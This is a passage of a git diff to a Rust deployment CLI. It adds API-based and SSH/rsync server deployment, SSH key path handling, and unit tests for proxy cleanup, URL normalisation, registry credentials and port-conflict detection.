+            reason: format!("SSH docker compose failed: {}", e),
+        })?;
+
+    let stdout = String::from_utf8_lossy(&output.stdout);
+    let stderr = String::from_utf8_lossy(&output.stderr);
+    for line in stdout.lines().chain(stderr.lines()) {
+        eprintln!("  │ {}", line);
+    }
+
+    if !output.status.success() {
+        return Err(CliError::DeployFailed {
+            target: DeployTarget::Server,
+            reason: format!(
+                "docker compose failed on remote (exit {}). See output above.",
+                output.status.code().unwrap_or(-1)
+            ),
+        });
+    }
+
+    eprintln!(
+        "  ✓ Deployed '{}' to {} ({})",
+        project_name, server_cfg.host, remote_dir_abs
+    );
+
+    Ok(DeployResult {
+        target: DeployTarget::Server,
+        message: format!(
+            "Deployed '{}' to {} via local SSH (rsync + docker compose, remote: {})",
+            project_name, server_cfg.host, remote_dir_abs
+        ),
+        server_ip: Some(server_cfg.host.clone()),
+        deployment_id: None,
+        project_id: None,
+        server_name: None,
+    })
+}
+
+impl DeployStrategy for ServerDeploy {
+    fn validate(&self, config: &StackerConfig) -> Result<(), CliError> {
+        if config.deploy.server.is_none() {
+            return Err(CliError::ServerHostMissing);
+        }
+
+        Ok(())
+    }
+
+    fn deploy(
+        &self,
+        config: &StackerConfig,
+        context: &DeployContext,
+        executor: &dyn CommandExecutor,
+    ) -> Result<DeployResult, CliError> {
+        if context.dry_run {
+            let action = InstallAction::Plan;
+            let cmd = InstallContainerCommand::from_config(config, context, action);
+            let args = cmd.build_args();
+            let args_refs: Vec<&str> = args.iter().map(|s| s.as_str()).collect();
+
+            let output = executor.execute("docker", &args_refs)?;
+
+            if !output.success() {
+                let mut reason = format!("Server deployment failed: {}", output.stderr.trim());
+                let port_hints = detect_port_conflicts_in_output(&output.stderr, &output.stdout);
+                if !port_hints.is_empty() {
+                    reason.push_str("\n\nPort conflict details:\n  • ");
+                    reason.push_str(&port_hints.join("\n  • "));
+                }
+                return Err(CliError::DeployFailed {
+                    target: DeployTarget::Server,
+                    reason,
+                });
+            }
+
+            let server_host = config.deploy.server.as_ref().map(|s| s.host.clone());
+
+            return Ok(DeployResult {
+                target: DeployTarget::Server,
+                message: "Server deployment plan completed".to_string(),
+                server_ip: server_host,
+                deployment_id: None,
+                project_id: None,
+                server_name: None,
+            });
+        }
+
+        // For private/intranet hosts, the Stacker cloud install service cannot
+        // reach the server via SSH. Deploy directly from the CLI using rsync +
+        // docker compose over the local SSH key.
+        let server_cfg = config
             .deploy
             .server
             .as_ref()
-            .map(|s| s.host.clone());
+            .ok_or(CliError::ServerHostMissing)?;
+
+        if crate::helpers::ip::is_private_host(&server_cfg.host) {
+            eprintln!(
+                "  Server {} is on a private network — deploying via local SSH.",
+                server_cfg.host
+            );
+            return deploy_to_intranet_server(config, context, server_cfg);
+        }
+
+        let creds =
+            CredentialsManager::with_default_store().require_valid_token("server deploy")?;
+        let base_url = normalize_stacker_server_url(
+            creds
+                .server_url
+                .as_deref()
+                .unwrap_or(stacker_client::DEFAULT_STACKER_URL),
+        );
+        let project_name = resolve_remote_project_name(config, context);
+        let project_config = compose_targets::config_with_compose_secret_target_services(
+            config,
+            &context.compose_path,
+        )?;
+        let mut project_body = stacker_client::build_project_body(&project_config);
+        if let Some(bundle) = &context.config_bundle {
+            stacker_client::attach_config_bundle_to_project_body(&mut project_body, bundle);
+        }
+        let bootstrap_status_panel = true;
+
+        let (response, effective_server_name) = tokio::runtime::Builder::new_current_thread()
+            .enable_all()
+            .build()
+            .map_err(|e| CliError::DeployFailed {
+                target: DeployTarget::Server,
+                reason: format!("Failed to initialize async runtime: {}", e),
+            })?
+            .block_on(async {
+                let client = StackerClient::new_for_target(
+                    &base_url,
+                    &creds.access_token,
+                    DeployTarget::Server,
+                );
+
+                let project = match client.find_project_by_name(&project_name).await? {
+                    Some(existing) => {
+                        let _ = client
+                            .update_project(existing.id, project_body.clone())
+                            .await;
+                        existing
+                    }
+                    None => {
+                        let created = client
+                            .create_project(&project_name, project_body.clone())
+                            .await?;
+                        eprintln!("  Created project '{}' (id={})", created.name, created.id);
+                        created
+                    }
+                };
+
+                if should_run_managed_proxy_preflight(context, DeployTarget::Server) {
+                    cleanup_stale_managed_proxy_container(
+                        &client,
+                        project.id,
+                        DeployTarget::Server,
+                    )
+                    .await?;
+                }
+
+                let existing_server = client.list_servers().await?.into_iter().find(|server| {
+                    server.project_id == project.id
+                        && (server.srv_ip.as_deref() == Some(server_cfg.host.as_str())
+                            || context
+                                .server_name_override
+                                .as_deref()
+                                .is_some_and(|name| server.name.as_deref() == Some(name)))
+                });
+
+                let effective_server_name = context
+                    .server_name_override
+                    .clone()
+                    .or_else(|| {
+                        existing_server
+                            .as_ref()
+                            .and_then(|server| server.name.clone())
+                    })
+                    .unwrap_or_else(|| {
+                        format!(
+                            "{}-server",
+                            sanitize_stack_code(
+                                &config
+                                    .project
+                                    .identity
+                                    .clone()
+                                    .unwrap_or_else(|| config.name.clone())
+                            )
+                        )
+                    });
+
+                let mut deploy_form = stacker_client::build_server_deploy_form_with_options(
+                    config,
+                    server_cfg,
+                    &effective_server_name,
+                    bootstrap_status_panel,
+                    stacker_client::DeployFormOptions {
+                        include_managed_proxy: context.managed_proxy_feature_enabled,
+                    },
+                );
+                if let Some(bundle) = &context.config_bundle {
+                    stacker_client::attach_config_bundle_to_deploy_form(&mut deploy_form, bundle);
+                }
+
+                if let Some(server_obj) = deploy_form
+                    .get_mut("server")
+                    .and_then(|v| v.as_object_mut())
+                {
+                    if let Some(existing) = existing_server.as_ref() {
+                        server_obj.insert("server_id".to_string(), serde_json::json!(existing.id));
+                    }
+
+                    if let Some((private_key, public_key)) =
+                        load_existing_server_ssh_key(server_cfg)?
+                    {
+                        server_obj.insert(
+                            "ssh_private_key".to_string(),
+                            serde_json::Value::String(private_key),
+                        );
+                        if let Some(public_key) = public_key {
+                            server_obj.insert(
+                                "public_key".to_string(),
+                                serde_json::Value::String(public_key),
+                            );
+                        }
+                    }
+                }
+
+                if let Some(form_obj) = deploy_form.as_object_mut() {
+                    form_obj.insert("runtime".to_string(), serde_json::json!(context.runtime));
+                }
+
+                eprintln!(
+                    "  Deploying project '{}' to {} via Stacker server...",
+                    project_name, server_cfg.host
+                );
+                let response = client.deploy(project.id, None, deploy_form).await?;
+                Ok::<_, CliError>((response, effective_server_name))
+            })?;
+
+        let deploy_id = response
+            .meta
+            .as_ref()
+            .and_then(|m| m.get("deployment_id"))
+            .and_then(|v| v.as_i64());
+        let project_id = response.id;
+
+        let mut message = format!(
+            "Server deployment requested via Stacker server (project='{}'",
+            project_name
+        );
+        if let Some(pid) = project_id {
+            message.push_str(&format!(", project_id={}", pid));
+        }
+        if let Some(did) = deploy_id {
+            message.push_str(&format!(", deployment_id={}", did));
+        }
+        message.push(')');
+        message.push_str(&format!("; server='{}'", effective_server_name));
 
-        let action_str = if context.dry_run { "plan completed" } else { "deployed" };
         Ok(DeployResult {
             target: DeployTarget::Server,
-            message: format!("Server deployment {}", action_str),
-            server_ip: server_host,
-            deployment_id: None,
-            project_id: None,
-            server_name: None,
+            message,
+            server_ip: Some(server_cfg.host.clone()),
+            deployment_id: deploy_id,
+            project_id: project_id.map(|id| id as i64),
+            server_name: Some(effective_server_name),
         })
     }
 
@@ -1298,7 +2638,12 @@ impl DeployStrategy for ServerDeploy {
         context: &DeployContext,
         executor: &dyn CommandExecutor,
     ) -> Result<(), CliError> {
-        let cmd = InstallContainerCommand::from_config(config, context, InstallAction::Destroy);
+        let action = if context.dry_run {
+            InstallAction::Plan
+        } else {
+            InstallAction::Destroy
+        };
+        let cmd = InstallContainerCommand::from_config(config, context, action);
         let args = cmd.build_args();
         let args_refs: Vec<&str> = args.iter().map(|s| s.as_str()).collect();
 
@@ -1315,6 +2660,71 @@ impl DeployStrategy for ServerDeploy {
     }
 }
 
+fn resolve_remote_project_name(config: &StackerConfig, context: &DeployContext) -> String {
+    context.project_name_override.clone().unwrap_or_else(|| {
+        config
+            .project
+            .identity
+            .clone()
+            .filter(|name| !name.trim().is_empty())
+            .unwrap_or_else(|| config.name.clone())
+    })
+}
+
+pub(crate) fn load_existing_server_ssh_key(
+    server_cfg: &crate::cli::config_parser::ServerConfig,
+) -> Result<Option<(String, Option<String>)>, CliError> {
+    let Some(path) = server_cfg.ssh_key.as_ref() else {
+        return Ok(None);
+    };
+
+    let resolved_path = resolve_ssh_key_path(path);
+
+    let private_key =
+        std::fs::read_to_string(&resolved_path).map_err(|e| CliError::DeployFailed {
+            target: DeployTarget::Server,
+            reason: format!(
+                "Failed to read SSH private key {}: {}",
+                resolved_path.display(),
+                e
+            ),
+        })?;
+
+    let public_key_path = PathBuf::from(format!("{}.pub", resolved_path.display()));
+    let public_key = match std::fs::read_to_string(&public_key_path) {
+        Ok(key) => Some(key),
+        Err(e) if e.kind() == std::io::ErrorKind::NotFound => None,
+        Err(e) => {
+            return Err(CliError::DeployFailed {
+                target: DeployTarget::Server,
+                reason: format!(
+                    "Failed to read SSH public key {}: {}",
+                    public_key_path.display(),
+                    e
+                ),
+            });
+        }
+    };
+
+    Ok(Some((private_key, public_key)))
+}
+
+fn resolve_ssh_key_path_with_home(path: &Path, home_dir: Option<&Path>) -> PathBuf {
+    let path_str = path.to_string_lossy();
+    if let Some(relative_path) = path_str.strip_prefix("~/") {
+        if let Some(home_dir) = home_dir {
+            return home_dir.join(relative_path);
+        }
+    }
+
+    path.to_path_buf()
+}
+
+fn resolve_ssh_key_path(path: &Path) -> PathBuf {
+    let home_dir = std::env::var_os("HOME").map(PathBuf::from);
+    resolve_ssh_key_path_with_home(path, home_dir.as_deref())
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // Helpers
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -1343,8 +2753,10 @@ fn extract_server_ip(stdout: &str) -> Option<String> {
 #[cfg(test)]
 mod tests {
     use super::*;
+    use crate::cli::config_parser::{
+        CloudConfig, CloudOrchestrator, CloudProvider, ConfigBuilder, RegistryConfig, ServerConfig,
+    };
     use std::sync::Mutex;
-    use crate::cli::config_parser::{CloudConfig, CloudOrchestrator, CloudProvider, ConfigBuilder, ServerConfig};
 
     // ── Mock executor ───────────────────────────────
 
@@ -1414,7 +2826,8 @@ mod tests {
     }
 
     fn sample_cloud_config() -> StackerConfig {
-        ConfigBuilder::new().name("test-cloud-app")
+        ConfigBuilder::new()
+            .name("test-cloud-app")
             .deploy_target(DeployTarget::Cloud)
             .cloud(CloudConfig {
                 provider: CloudProvider::Hetzner,
@@ -1426,11 +2839,131 @@ mod tests {
                 ssh_key: Some(PathBuf::from("/home/user/.ssh/id_ed25519")),
                 key: None,
                 server: None,
+                public_ports: Vec::new(),
             })
             .build()
             .unwrap()
     }
 
+    #[test]
+    fn test_stale_managed_proxy_container_names_detect_project_scoped_nginx_proxy_manager() {
+        let containers = vec![
+            serde_json::json!({
+                "name": "nginx-proxy-manager",
+                "state": "running",
+                "image": "jc21/nginx-proxy-manager:latest"
+            }),
+            serde_json::json!({
+                "name": "project-nginx_proxy_manager-1",
+                "state": "exited",
+                "image": "jc21/nginx-proxy-manager:latest"
+            }),
+        ];
+
+        assert_eq!(
+            stale_managed_proxy_container_names(&containers, "nginx_proxy_manager"),
+            vec!["project-nginx_proxy_manager-1".to_string()]
+        );
+    }
+
+    #[test]
+    fn test_stale_managed_proxy_container_names_ignore_managed_container_only() {
+        let containers = vec![serde_json::json!({
+            "name": "nginx-proxy-manager",
+            "state": "running",
+            "image": "jc21/nginx-proxy-manager:latest"
+        })];
+
+        assert!(stale_managed_proxy_container_names(&containers, "nginx_proxy_manager").is_empty());
+    }
+
+    #[test]
+    fn test_stale_managed_proxy_container_names_detect_duplicate_npm_container_alias() {
+        let containers = vec![
+            serde_json::json!({
+                "name": "nginx-proxy-manager",
+                "state": "running",
+                "image": "jc21/nginx-proxy-manager:latest"
+            }),
+            serde_json::json!({
+                "name": "nginx-proxy-manager-app-1",
+                "state": "running",
+                "image": "jc21/nginx-proxy-manager:latest"
+            }),
+        ];
+
+        assert_eq!(
+            stale_managed_proxy_container_names(&containers, "nginx_proxy_manager"),
+            vec!["nginx-proxy-manager-app-1".to_string()]
+        );
+    }
+
+    #[test]
+    fn test_stale_managed_proxy_app_codes_detect_nginx_proxy_manager_registration() {
+        let apps = vec![
+            stacker_client::ProjectAppInfo {
+                id: 1,
+                project_id: 1,
+                code: "nginx_proxy_manager".to_string(),
+                name: "Nginx Proxy Manager".to_string(),
+                image: "jc21/nginx-proxy-manager".to_string(),
+                enabled: true,
+                deploy_order: None,
+                parent_app_code: None,
+            },
+            stacker_client::ProjectAppInfo {
+                id: 2,
+                project_id: 1,
+                code: "status-panel-web".to_string(),
+                name: "Status Panel".to_string(),
+                image: "trydirect/status".to_string(),
+                enabled: true,
+                deploy_order: None,
+                parent_app_code: None,
+            },
+        ];
+
+        assert_eq!(
+            stale_managed_proxy_app_codes(&apps, "nginx_proxy_manager"),
+            vec!["nginx_proxy_manager".to_string()]
+        );
+    }
+
+    #[test]
+    fn test_stale_managed_proxy_app_codes_match_hyphenated_aliases() {
+        let apps = vec![stacker_client::ProjectAppInfo {
+            id: 1,
+            project_id: 1,
+            code: "nginx-proxy-manager".to_string(),
+            name: "Nginx Proxy Manager".to_string(),
+            image: "jc21/nginx-proxy-manager".to_string(),
+            enabled: true,
+            deploy_order: None,
+            parent_app_code: None,
+        }];
+
+        assert_eq!(
+            stale_managed_proxy_app_codes(&apps, "nginx_proxy_manager"),
+            vec!["nginx-proxy-manager".to_string()]
+        );
+    }
+
+    #[test]
+    fn test_stale_managed_proxy_app_codes_ignore_unrelated_apps() {
+        let apps = vec![stacker_client::ProjectAppInfo {
+            id: 2,
+            project_id: 1,
+            code: "status-panel-web".to_string(),
+            name: "Status Panel".to_string(),
+            image: "trydirect/status".to_string(),
+            enabled: true,
+            deploy_order: None,
+            parent_app_code: None,
+        }];
+
+        assert!(stale_managed_proxy_app_codes(&apps, "nginx_proxy_manager").is_empty());
+    }
+
     #[test]
     fn test_normalize_user_service_base_url_from_token_endpoint() {
         let url = normalize_user_service_base_url("https://api.try.direct/oauth_server/token");
@@ -1486,6 +3019,7 @@ mod tests {
                 ssh_key: Some(PathBuf::from("/home/user/.ssh/id_ed25519")),
                 key: None,
                 server: None,
+                public_ports: Vec::new(),
             })
             .build()
             .unwrap();
@@ -1507,12 +3041,28 @@ mod tests {
         assert!(result.is_ok());
     }
 
+    #[test]
+    fn test_resolve_remote_cloud_credentials_accepts_digitalocean_token() {
+        std::env::remove_var("STACKER_CLOUD_TOKEN");
+        std::env::remove_var("STACKER_DIGITALOCEAN_TOKEN");
+        std::env::set_var("DIGITALOCEAN_TOKEN", "do-token-value");
+
+        let creds = resolve_remote_cloud_credentials("do");
+
+        std::env::remove_var("DIGITALOCEAN_TOKEN");
+
+        assert_eq!(
+            creds.get("cloud_token").and_then(|v| v.as_str()),
+            Some("do-token-value")
+        );
+    }
+
     #[test]
     fn test_validate_remote_deploy_payload_rejects_missing_common_domain() {
         let payload = serde_json::json!({
             "provider": "htz",
             "region": "nbg1",
-            "server": "cpx11",
+            "server": "cx23",
             "os": "ubuntu-22.04",
             "stack_code": "demo",
             "selected_plan": "free",
@@ -1530,7 +3080,7 @@ mod tests {
         let payload = serde_json::json!({
             "provider": "htz",
             "region": "nbg1",
-            "server": "cpx11",
+            "server": "cx23",
             "os": "ubuntu-22.04",
             "commonDomain": "example.com",
             "stack_code": "",
@@ -1551,7 +3101,7 @@ mod tests {
         let payload = serde_json::json!({
             "provider": "htz",
             "region": "nbg1",
-            "server": "cpx11",
+            "server": "cx23",
             "os": "ubuntu-22.04",
             "commonDomain": "localhost",
             "stack_code": "demo-stack",
@@ -1569,7 +3119,8 @@ mod tests {
     }
 
     fn sample_server_config() -> StackerConfig {
-        ConfigBuilder::new().name("test-server-app")
+        ConfigBuilder::new()
+            .name("test-server-app")
             .deploy_target(DeployTarget::Server)
             .server(ServerConfig {
                 host: "192.168.1.100".to_string(),
@@ -1593,6 +3144,9 @@ mod tests {
             key_id_override: None,
             server_name_override: None,
             runtime: "runc".to_string(),
+            config_bundle: None,
+            managed_proxy_feature_enabled: true,
+            force_new: false,
         }
     }
 
@@ -1634,6 +3188,29 @@ mod tests {
         assert!(args.contains("-v /home/user/.ssh/id_ed25519:/root/.ssh/id_rsa"));
     }
 
+    #[test]
+    fn test_resolve_ssh_key_path_expands_tilde_with_explicit_home() {
+        let resolved = resolve_ssh_key_path_with_home(
+            Path::new("~/.ssh/website-deploy-key"),
+            Some(Path::new("/tmp/test-home")),
+        );
+
+        assert_eq!(
+            resolved,
+            PathBuf::from("/tmp/test-home/.ssh/website-deploy-key")
+        );
+    }
+
+    #[test]
+    fn test_resolve_ssh_key_path_keeps_absolute_path() {
+        let resolved = resolve_ssh_key_path_with_home(
+            Path::new("/var/keys/website-deploy-key"),
+            Some(Path::new("/tmp/test-home")),
+        );
+
+        assert_eq!(resolved, PathBuf::from("/var/keys/website-deploy-key"));
+    }
+
     #[test]
     fn test_run_command_plan_mode() {
         let config = sample_cloud_config();
@@ -1696,10 +3273,28 @@ mod tests {
             key_id_override: None,
             server_name_override: None,
             runtime: "runc".to_string(),
+            config_bundle: None,
+            managed_proxy_feature_enabled: true,
+            force_new: false,
         };
         assert_eq!(ctx.install_image(), "mycompany/install:v3");
     }
 
+    #[test]
+    fn test_should_run_managed_proxy_preflight_skips_force_new_cloud() {
+        let mut ctx = sample_context(false);
+        ctx.force_new = true;
+
+        assert!(!should_run_managed_proxy_preflight(
+            &ctx,
+            DeployTarget::Cloud
+        ));
+        assert!(should_run_managed_proxy_preflight(
+            &ctx,
+            DeployTarget::Server
+        ));
+    }
+
     #[test]
     fn test_local_deploy_dry_run() {
         let config = ConfigBuilder::new().name("local-app").build().unwrap();
@@ -1709,17 +3304,28 @@ mod tests {
 
         let result = strategy.deploy(&config, &context, &executor).unwrap();
         assert_eq!(result.target, DeployTarget::Local);
-        assert!(result.message.contains("dry-run") || result.message.contains("previewed"),
-            "dry-run message should indicate preview, got: {}", result.message);
+        assert!(
+            result.message.contains("dry-run") || result.message.contains("previewed"),
+            "dry-run message should indicate preview, got: {}",
+            result.message
+        );
 
         // Dry-run should NOT invoke docker at all (no compose call)
         let recorded = executor.recorded_calls.lock().unwrap();
         // Only the compose-version probe may have been called (from resolve_compose_cmd),
         // but the actual compose up/config should NOT be called.
-        assert!(!recorded.iter().any(|(_, args)| args.contains(&"up".to_string())),
-            "dry-run must not call docker compose up");
-        assert!(!recorded.iter().any(|(_, args)| args.contains(&"config".to_string())),
-            "dry-run must not call docker compose config");
+        assert!(
+            !recorded
+                .iter()
+                .any(|(_, args)| args.contains(&"up".to_string())),
+            "dry-run must not call docker compose up"
+        );
+        assert!(
+            !recorded
+                .iter()
+                .any(|(_, args)| args.contains(&"config".to_string())),
+            "dry-run must not call docker compose config"
+        );
     }
 
     #[test]
@@ -1797,6 +3403,161 @@ mod tests {
         assert!(strategy.validate(&config).is_ok());
     }
 
+    #[test]
+    fn test_normalize_stacker_server_url_strips_api_v1_suffix() {
+        assert_eq!(
+            normalize_stacker_server_url("https://stacker.example.com/api/v1"),
+            "https://stacker.example.com"
+        );
+        assert_eq!(
+            normalize_stacker_server_url("https://stacker.example.com/api/v1/"),
+            "https://stacker.example.com"
+        );
+    }
+
+    #[test]
+    fn test_normalize_stacker_server_url_strips_direct_login_suffix() {
+        assert_eq!(
+            normalize_stacker_server_url("https://dev.try.direct/server/user/auth/login"),
+            "https://dev.try.direct/server/user"
+        );
+    }
+
+    #[test]
+    fn test_normalize_stacker_server_url_preserves_legacy_stacker_route() {
+        assert_eq!(
+            normalize_stacker_server_url("https://dev.try.direct/stacker"),
+            "https://dev.try.direct/stacker"
+        );
+    }
+
+    #[test]
+    fn test_normalize_stacker_server_url_preserves_api_gateway_host() {
+        assert_eq!(
+            normalize_stacker_server_url("https://api.try.direct"),
+            "https://api.try.direct"
+        );
+    }
+
+    #[test]
+    fn test_resolve_saved_stacker_base_url_prefers_saved_server_url() {
+        let creds = StoredCredentials {
+            access_token: "token".to_string(),
+            refresh_token: None,
+            token_type: "Bearer".to_string(),
+            expires_at: chrono::Utc::now() + chrono::Duration::minutes(10),
+            email: Some("user@example.com".to_string()),
+            server_url: Some("https://dev.try.direct/stacker".to_string()),
+            org: None,
+            domain: None,
+        };
+
+        assert_eq!(
+            resolve_saved_stacker_base_url(&creds),
+            "https://dev.try.direct/stacker"
+        );
+    }
+
+    #[test]
+    fn test_resolve_saved_stacker_base_url_falls_back_to_default() {
+        let creds = StoredCredentials {
+            access_token: "token".to_string(),
+            refresh_token: None,
+            token_type: "Bearer".to_string(),
+            expires_at: chrono::Utc::now() + chrono::Duration::minutes(10),
+            email: Some("user@example.com".to_string()),
+            server_url: None,
+            org: None,
+            domain: None,
+        };
+
+        assert_eq!(
+            resolve_saved_stacker_base_url(&creds),
+            stacker_client::DEFAULT_STACKER_URL
+        );
+    }
+
+    #[test]
+    fn test_ensure_remote_cloud_credentials_available_accepts_saved_cloud_id() {
+        let env_creds = serde_json::Map::new();
+        assert!(ensure_remote_cloud_credentials_available(Some(12), "htz", &env_creds).is_ok());
+    }
+
+    #[test]
+    fn test_ensure_remote_cloud_credentials_available_accepts_env_token() {
+        let mut env_creds = serde_json::Map::new();
+        env_creds.insert(
+            "cloud_token".to_string(),
+            serde_json::Value::String("token".to_string()),
+        );
+        assert!(ensure_remote_cloud_credentials_available(None, "htz", &env_creds).is_ok());
+    }
+
+    #[test]
+    fn test_ensure_remote_cloud_credentials_available_fails_without_saved_or_env_creds() {
+        let env_creds = serde_json::Map::new();
+        let err = ensure_remote_cloud_credentials_available(None, "htz", &env_creds).unwrap_err();
+        let msg = err.to_string();
+        assert!(msg.contains("No saved cloud credentials were found"));
+        assert!(msg.contains("HCLOUD_TOKEN"));
+    }
+
+    #[test]
+    fn test_canonicalize_registry_server_maps_docker_hub_urls_to_docker_io() {
+        assert_eq!(
+            canonicalize_registry_server("https://index.docker.io/v1/".to_string()),
+            "docker.io"
+        );
+        assert_eq!(
+            canonicalize_registry_server("https://registry-1.docker.io".to_string()),
+            "docker.io"
+        );
+        assert_eq!(
+            canonicalize_registry_server("hub.docker.com".to_string()),
+            "docker.io"
+        );
+    }
+
+    #[test]
+    fn test_resolve_docker_registry_credentials_defaults_to_docker_io_when_auth_present() {
+        let config = ConfigBuilder::new()
+            .name("private-app")
+            .registry(RegistryConfig {
+                username: Some("syncopia-user".to_string()),
+                password: Some("secret".to_string()),
+                server: None,
+            })
+            .build()
+            .unwrap();
+
+        let creds = resolve_docker_registry_credentials(&config);
+        assert_eq!(
+            creds.get("docker_username").and_then(|v| v.as_str()),
+            Some("syncopia-user")
+        );
+        assert_eq!(
+            creds.get("docker_password").and_then(|v| v.as_str()),
+            Some("secret")
+        );
+        assert_eq!(
+            creds.get("docker_registry").and_then(|v| v.as_str()),
+            Some("docker.io")
+        );
+    }
+
+    #[test]
+    fn test_resolve_docker_registry_credentials_sends_empty_when_no_config() {
+        let config = ConfigBuilder::new().name("public-app").build().unwrap();
+
+        let creds = resolve_docker_registry_credentials(&config);
+        assert!(creds.get("docker_username").is_none());
+        assert!(creds.get("docker_password").is_none());
+        assert_eq!(
+            creds.get("docker_registry").and_then(|v| v.as_str()),
+            Some("")
+        );
+    }
+
     #[test]
     fn test_cloud_deploy_runs_install_container() {
         let config = sample_cloud_config();
@@ -1917,4 +3678,464 @@ mod tests {
         let args = cmd.build_args();
         assert!(!args.contains(&"--rm".to_string()));
     }
+
+    // ── Port-conflict preflight helpers ─────────────────
+
+    #[test]
+    fn test_parse_compose_host_port_string_host_container() {
+        let v = serde_yaml::Value::String("3000:3000".to_string());
+        assert_eq!(parse_compose_host_port(&v), Some("3000".to_string()));
+    }
+
+    #[test]
+    fn test_parse_compose_host_port_string_ip_host_container() {
+        let v = serde_yaml::Value::String("127.0.0.1:8080:80".to_string());
+        assert_eq!(parse_compose_host_port(&v), Some("8080".to_string()));
+    }
+
+    #[test]
+    fn test_parse_compose_host_port_mapping() {
+        let mut m = serde_yaml::Mapping::new();
+        m.insert(
+            serde_yaml::Value::String("published".to_string()),
+            serde_yaml::Value::Number(serde_yaml::Number::from(3000u64)),
+        );
+        m.insert(
+            serde_yaml::Value::String("target".to_string()),
+            serde_yaml::Value::Number(serde_yaml::Number::from(3000u64)),
+        );
+        let v = serde_yaml::Value::Mapping(m);
+        assert_eq!(parse_compose_host_port(&v), Some("3000".to_string()));
+    }
+
+    #[test]
+    fn test_parse_compose_host_port_container_only() {
+        // Port without host binding: "3000" → no host port to parse
+        let v = serde_yaml::Value::String("3000".to_string());
+        assert_eq!(parse_compose_host_port(&v), None);
+    }
+
+    #[test]
+    fn test_collect_compose_host_port_services() {
+        use std::io::Write;
+        let mut tmp = tempfile::NamedTempFile::new().unwrap();
+        write!(
+            tmp,
+            r#"
+services:
+  web:
+    image: nginx
+    ports:
+      - "8080:80"
+  api:
+    image: myapp
+    ports:
+      - "127.0.0.1:9000:9000"
+"#
+        )
+        .unwrap();
+        let pairs = collect_compose_host_port_services(tmp.path());
+        let ports: Vec<&str> = pairs.iter().map(|(p, _)| p.as_str()).collect();
+        assert!(ports.contains(&"8080"), "expected 8080");
+        assert!(ports.contains(&"9000"), "expected 9000");
+    }
+
+    #[test]
+    fn test_extract_port_from_docker_ps_entry_standard() {
+        assert_eq!(
+            extract_port_from_docker_ps_entry("0.0.0.0:3000->3000/tcp"),
+            Some("3000".to_string())
+        );
+    }
+
+    #[test]
+    fn test_extract_port_from_docker_ps_entry_ipv6() {
+        assert_eq!(
+            extract_port_from_docker_ps_entry(":::8080->8080/tcp"),
+            Some("8080".to_string())
+        );
+    }
+
+    #[test]
+    fn test_extract_port_from_docker_ps_entry_container_only() {
+        assert_eq!(extract_port_from_docker_ps_entry("3000/tcp"), None);
+    }
+
+    #[test]
+    fn test_check_local_host_port_conflicts_free_port() {
+        use std::io::Write;
+        // Pick an ephemeral port that should be free
+        let listener = std::net::TcpListener::bind("0.0.0.0:0").unwrap();
+        let free_port = listener.local_addr().unwrap().port();
+        drop(listener); // release it
+
+        let mut tmp = tempfile::NamedTempFile::new().unwrap();
+        write!(
+            tmp,
+            "services:\n  web:\n    image: nginx\n    ports:\n      - \"{}:80\"\n",
+            free_port
+        )
+        .unwrap();
+
+        let executor = MockExecutor::success();
+        let conflicts = check_local_host_port_conflicts(tmp.path(), &executor);
+        assert!(
+            conflicts.is_empty(),
+            "expected no conflicts for free port {}: {:?}",
+            free_port,
+            conflicts
+        );
+    }
+
+    #[test]
+    fn test_check_local_host_port_conflicts_own_container_excluded() {
+        use std::io::Write;
+
+        // Occupy a port to simulate an existing container
+        let listener = std::net::TcpListener::bind("0.0.0.0:0").unwrap();
+        let port = listener.local_addr().unwrap().port();
+        // Keep listener alive — port IS occupied
+
+        let mut tmp = tempfile::NamedTempFile::new().unwrap();
+        write!(
+            tmp,
+            "services:\n  web:\n    image: nginx\n    ports:\n      - \"{}:80\"\n",
+            port
+        )
+        .unwrap();
+
+        // Simulate `docker compose ps` reporting the same port as owned by us
+        let ps_output = format!("0.0.0.0:{}->80/tcp", port);
+        let executor = MockExecutor::success_with_stdout(&ps_output);
+
+        let conflicts = check_local_host_port_conflicts(tmp.path(), &executor);
+        drop(listener);
+        assert!(
+            conflicts.is_empty(),
+            "port owned by our own compose project should not be flagged: {:?}",
+            conflicts
+        );
+    }
+
+    #[test]
+    fn test_check_local_host_port_conflicts_external_conflict() {
+        use std::io::Write;
+
+        // Occupy a port to simulate an external process
+        let listener = std::net::TcpListener::bind("0.0.0.0:0").unwrap();
+        let port = listener.local_addr().unwrap().port();
+        // Keep listener alive — port IS occupied by external
+
+        let mut tmp = tempfile::NamedTempFile::new().unwrap();
+        write!(
+            tmp,
+            "services:\n  web:\n    image: nginx\n    ports:\n      - \"{}:80\"\n",
+            port
+        )
+        .unwrap();
+
+        // Simulate `docker compose ps` returning empty (no own containers on this port)
+        let executor = MockExecutor::success_with_stdout("");
+
+        let conflicts = check_local_host_port_conflicts(tmp.path(), &executor);
+        drop(listener);
+        assert!(
+            !conflicts.is_empty(),
+            "external port conflict should be reported"
+        );
+        assert!(
+            conflicts[0].contains(&port.to_string()),
+            "conflict message should mention the port"
+        );
+    }
+
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+    // Port conflict detection in install-container output
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+    #[test]
+    fn test_detect_port_conflicts_in_output_bind_error() {
+        let stderr = "Error response from daemon: driver failed programming external connectivity on endpoint nginx-proxy-manager (abc123): Bind for 0.0.0.0:80 failed: port is already allocated";
+        let hints = detect_port_conflicts_in_output(stderr, "");
+        assert!(
+            !hints.is_empty(),
+            "should detect port conflict from Bind error"
+        );
+        assert!(
+            hints.iter().any(|h| h.contains("80")),
+            "should include port 80 in hints: {:?}",
+            hints
+        );
+    }
+
+    #[test]
+    fn test_detect_port_conflicts_in_output_already_allocated() {
+        let stderr = "Error: failed to start container: port 443 is already allocated";
+        let hints = detect_port_conflicts_in_output(stderr, "");
+        assert!(!hints.is_empty(), "should detect port conflict");
+        assert!(
+            hints.iter().any(|h| h.contains("443")),
+            "should include port 443 in hints: {:?}",
+            hints
+        );
+    }
+
+    #[test]
+    fn test_detect_port_conflicts_in_output_stdout() {
+        // Docker sometimes emits port errors on stdout instead of stderr
